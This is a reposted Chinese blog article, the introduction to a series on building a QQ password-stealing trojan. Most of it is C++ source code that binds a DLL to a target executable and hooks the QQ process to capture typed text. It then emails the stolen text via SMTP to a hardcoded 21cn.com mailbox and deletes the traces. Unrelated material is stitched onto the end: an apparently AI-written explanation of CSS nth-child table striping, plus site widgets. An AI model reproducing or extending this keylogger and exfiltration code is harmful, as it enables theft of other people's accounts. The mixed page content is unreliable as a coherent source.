自己动手做QQ木马-----总序 (转)

本文介绍了一种自制QQ木马的方法,包括绑定目标文件、设置消息钩子截取密码及发送邮件等步骤。作者强调仅供学习参考,不应用于非法目的。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

自己动手做QQ木马-----总序 (转)[@more@]

自己动手做qq木马-----总序 XML:namespace prefix = o ns = "urn:schemas-microsoft-com:Office:office" />

声明:

本文只适合初学者,“帮助”他们从重复无趣的书本练习中解脱出来,真正的做一个他们感兴趣的东西。毕竟在枯燥无味的编程世界里,兴趣还是坚持向前的原动力,同时也揭开网上各种各样的QQ密码截取器的神秘面纱。郑重声明本人公布这篇文章并不鼓励大家去窃取他人的帐号密码,所以在此只贴出一些重要的体现技术原代码。

废话不多说了,先介绍一下本程序的构思及使用的相关技术。

1.手动或自动绑定目标文件,自动分解出DLL和原文件并运行。

本程序使用的绑定文件技术是最原始的,会被杀毒软件轻易识破,被绑定的文件结构如下:

 被绑定后的EXE文件结构.jpg.NET/develop/article/images/17517_1.jpg" align=baseline border=0>ASPectratio="t">

当然也可以通过修改PE文件结构,插入木马程序到SECTION中,该方法技术要求比较高。(本人没去实践过,在这里就不多说了)

2.调用自己分解出的DLL,对目标文件运行的相关线程设置消息钩子。将截获的文本内容存储在指定的文件中。

3.从指定的文件取得发送内容,使用ESMTP发送邮件到指定信箱

在看看程序的制作及运行流程:(建议把图拷下来用ACDSEE放大看,该图是使用Visio做的,做的不好,见笑了)

   木马制作及运行流程图.jpg上图说明:Setup.exe是本程序编译连接后的执行的第一个文件

  Hook.dll是导出挂钩函数的动态连接库

  Server.exe是Setup.exe运行后绑定了Hook.dll的PE文件,它可以绑定除DLL文件外的所有文件

  123456.exe是Temp.exe运行后分解出的内容与Server.exe相同的PE文件

下面分析一下主程序的代码:

if (!AfxSocketInit())

{

AfxMessageBox("IDP_SOCKETS_INIT_FAILED");

return FALSE;

}

//通过本文件的长度来确定该程序的运行方式

CBindFile curFile; 

if(!curFile.Initiate())  //主要枢纽,将在后面的绑定文件类中详细说明

return true;

//取得分解出的PE文件运行进程信息

PROCESS_INFORMATION PI;

ZeroMemory(&PI, sizeof(PI));

curFile.GetRunFileProcessInfo(PI);

//等待该子进程进入消息循环

if(0 != WaitForInputIdle(PI.hProcess, INFINITE))

{

MessageBox(NULL, "等待进入消息循环出错!", NULL, NULL);

return false;

}

//开始挂钩

hDllModule = GetModuleHandle("hook.dll");

if(NULL == hDllModule)

{

hDllModule = LoadLibrary("hook.dll");

if(NULL == hDllModule)

{

MessageBox(NULL, "DllModule is NULL", "PRINT", MB_OK);

return false;

}

//取得导出函数的地址

Hook_Start Hook_Start_Address;

Hook_Start_Address = (Hook_Start)GetProcAddress(hDllModule, "Hook_Start");

if(NULL == Hook_Start_Address)

return false;

if(!(Hook_Start_Address)(PI.dwThreadId))

{

MessageBox(NULL, "Can not complete hook!", NULL, NULL);

return false;

}

}

//等待分解出的第二个文件运行的程序结束

Dword dwWaitingTime = 2*60*1000;  //等待时间为2分钟

WaitForSingleobject(PI.hProcess, dwWaitingTime);

DWORD dwExitCode;

GetExitCodeProcess(PI.hProcess, &dwExitCode);

//2分钟后结束挂钩

if(NULL != hDllModule)

{

Hook_Stop  Hook_Stop_Address;

Hook_Stop_Address = (Hook_Stop)GetProcAddress(hDllModule, "Hook_Stop");

if(NULL == Hook_Stop_Address)

{

::FreeLibrary(hDllModule);

return false;

}

 (Hook_Stop_Address)();

::FreeLibrary(hDllModule);

}

//发送邮件

SendEMail();

//运行结束后删除分解出的临时文件

if(STILL_ACTIVE == dwExitCode)

{

WaitForSingleObject(PI.hProcess, INFINITE);

GetExitCodeProcess(PI.hProcess, &dwExitCode);

}

CloseHandle(PI.hThread);

CloseHandle(PI.hProcess);

DeleteFile(curFile.GetSecFilePath());

return true;

下面是Sendemail函数

bool CSetupApp::SendEMail()

{

HANDLE hFile  = NULL;

DWORD dwDummy  = 0;

BOOL  bResult  = FALSE;

TCHAR *lpFileString = NULL;  //文件数据缓冲区

DWORD dwFileSize  = 0;  //文件长度

hFile = CreateFile(FILE_PATH_NAME, GENERIC_READ,

  FILE_SHARE_READ, NULL,

OPEN_ALWAYS, FILE_ATTRIBUTE_HIDDEN,  NULL);

if(INVALID_HANDLE_VALUE == hFile)

return false;

dwFileSize = GetFileSize(hFile, NULL);

lpFileString = new TCHAR[dwFileSize+1];

if(NULL == lpFileString)

return false;

ZeroMemory(lpFileString, dwFileSize+1);

SetFilePointer(hFile, 0, NULL, FILE_BEGIN);

bResult = ReadFile(hFile, lpFileString, dwFileSize, &dwDummy, NULL);

CloseHandle(hFile);

if(0 != lstrlen(lpFileString))

{

//将数据文件发送到指定的信箱

MAILMSG mailMsg;

lstrcpy(mailMsg.mail_server_name, "smtp.21cn.com");

mailMsg.mail_server_port = 25;

lstrcpy(mailMsg.mail_account, "zyfxyz");

lstrcpy(mailMsg.mail_password, "12345678");  //这里最好使用加密后的字符串,//不然的话在PE文件的.data节中//可以看到你的密码

lstrcpy(mailMsg.mail_from_address, "zyfxyz@21cn.com");

lstrcpy(mailMsg.mail_to_address, "zyfxyz@21cn.com");

lstrcpy(mailMsg.mail_subject, "Return");

ZeroMemory(mailMsg.mail_content, sizeof(mailMsg.mail_content));

if(dwFileSize > 800) //每次发送的DATA内容大小不得超过1000bytes

dwFileSize = 800;

lstrcpyn(mailMsg.mail_content, lpFileString, dwFileSize+1);

CSmtp_fz smtp(mailMsg);

if(smtp.sendmail())

{

//如果发送成功则删除数据文件

MessageBox(NULL, "发送成功,删除数据文件", NULL, NULL);

DeleteFile(FILE_PATH_NAME);  //FILE_PATH_NAM文件存放截获文本数据

}

}

delete[] lpFileString;

return true;

}

后面几篇将分别详细解释绑定文件类CBindFile,邮件发送类CSmtp_fz以及Hook.dll的代码。


来自 “ ITPUB博客 ” ,链接:http://blog.itpub.net/10752043/viewspace-993036/,如需转载,请注明出处,否则将追究法律责任。

转载于:http://blog.itpub.net/10752043/viewspace-993036/

<think>好的,用户问为什么不是用“table:nth-child(odd)”来设置表格奇数行的背景色。我需要解释清楚选择器的作用对象。 首先,用户可能误解了:nth-child()的作用范围。table:nth-child(odd)其实是选择作为其父元素的奇数位置的table元素,而不是表格内的行。这时候需要详细说明:nth-child伪类的工作机制,指出它选择的是同一父元素下的子元素,而tr是table的直接子元素,所以应该应用在tr上。 接着,用户可能对选择器的层级结构不太清楚。需要解释table和tr的关系,说明table元素下的直接子元素通常是tr(行),因此正确的选择器应该是tr:nth-child(odd),这样才能选中表格内的奇数行。 还要考虑到用户可能没有正确理解HTML结构,比如是否使用了tbody或者thead,这时候可能需要提到如果存在这些元素,选择器需要相应调整,比如使用tbody tr:nth-child(odd)来避免影响表头。 另外,用户可能想通过table:nth-child(odd)来间接影响行,但实际上这个选择器不会起作用,因为它针对的是表格本身的位置,而不是内部的tr。这里需要举例说明两者的区别,比如如果有多个表格,table:nth-child(odd)会选择奇数位置的表格,而不是表格内的行。 可能还需要补充一些示例代码,展示正确和错误的使用方式,帮助用户直观理解区别。比如,错误的代码table:nth-child(odd)不会改变行背景,而正确的tr:nth-child(odd)会生效。 最后,确保用户明白伪类选择器的应用对象和层级关系,强调正确选择目标元素的重要性,并提供其他相关建议,比如处理表头或兼容性考虑,以全面解答用户疑问。</think>--- ### 一、**关键原因** 使用 `table:nth-child(odd)` 是**错误**的,因为: 1. **对象错误**:`table:nth-child(odd)` 选择的是页面中的「第奇数个`<table>`元素」,而非表格内部的奇数行。 2. **层级错误**:表格的行是 `<tr>`,它属于 `<table>` 的直接子元素(或通过 `<tbody>` 嵌套),因此需直接操作 `<tr>`。 --- ### 二、**逐层分析** #### 1. **伪类选择器的作用逻辑** - **`:nth-child(odd)`** 的规则是: - 匹配**同一父元素下**的**第奇数个子元素** - **与元素类型无关**(无论是`<div>`、`<table>`还是其他元素) #### 2. **错误示例解释** 假设页面中有多个表格: ```html <div> <table>表格1</table> <!-- 第1个子元素 --> <table>表格2</table> <!-- 第2个子元素 --> <table>表格3</table> <!-- 第3个子元素 --> </div> ``` 如果写: ```css table:nth-child(odd) { background: grey; } ``` - **实际效果**:`表格1`和`表格3`会变灰(选中父元素下的第1、3个子元素) - **与目标需求无关**:这只是在控制「表格整体的背景」,而非表格内部的行! --- ### 三、**正确层级关系** 表格结构通常为: ```html <table> <tr>第1行</tr> <!-- 直接子元素 --> <tr>第2行</tr> <tr>第3行</tr> </table> ``` - 要操作行,需选择 `<tr>` 元素 - 正确写法: ```css tr:nth-child(odd) { ... } /* 选中表格内所有奇数行 */ ``` --- ### 四、**常见混淆场景** #### 1. **表格包含`<tbody>`** 如果表格有`<tbody>`包裹行: ```html <table> <tbody> <tr>第1行</tr> <!-- 此时<tr>的父元素是<tbody> --> <tr>第2行</tr> </tbody> </table> ``` 需明确层级: ```css tbody tr:nth-child(odd) { ... } /* 正确 */ ``` #### 2. **混合表头和表格行** 若存在`<thead>`和`<tbody>`: ```html <table> <thead> <tr>标题行</tr> <!-- 第1行 --> </thead> <tbody> <tr>数据行1</tr> <!-- 父元素<tbody>的第1行 --> <tr>数据行2</tr> </tbody> </table> ``` 需排除表头: ```css tbody tr:nth-child(odd) { ... } /* 仅数据行的奇数行生效 */ ``` --- ### 五、**总结对比** | 选择器写法 | 实际作用对象 | 是否符合需求 | |----------------------|---------------------------|---------------------------| | `table:nth-child(odd)` | 页面中第奇数个表格 | ❌ 完全无关 | | `tr:nth-child(odd)` | 表格内的奇数行 | ✅ 符合需求 | | `tbody tr:nth-child(odd)` | `<tbody>`内的奇数行 | ✅ 更精确(推荐写法) | --- ### 六、**验证测试** ```html <style> tr:nth-child(odd) { background: #f0f0f0; } </style> <table> <tr><td>行1(灰色)</td></tr> <!-- 生效 --> <tr><td>行2(默认)</td></tr> <tr><td>行3(灰色)</td></tr> </table> ``` --- ### 七、**扩展知识** - **`:nth-of-type()` 与 `:nth-child()` 区别**: - `:nth-child(odd)`:基于父元素中子元素的**总序号** - `:nth-of-type(odd)`:基于父元素中**同类型标签的序号** - **公式写法**:`tr:nth-child(2n+1)` 等价于 `tr:nth-child(odd)`
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值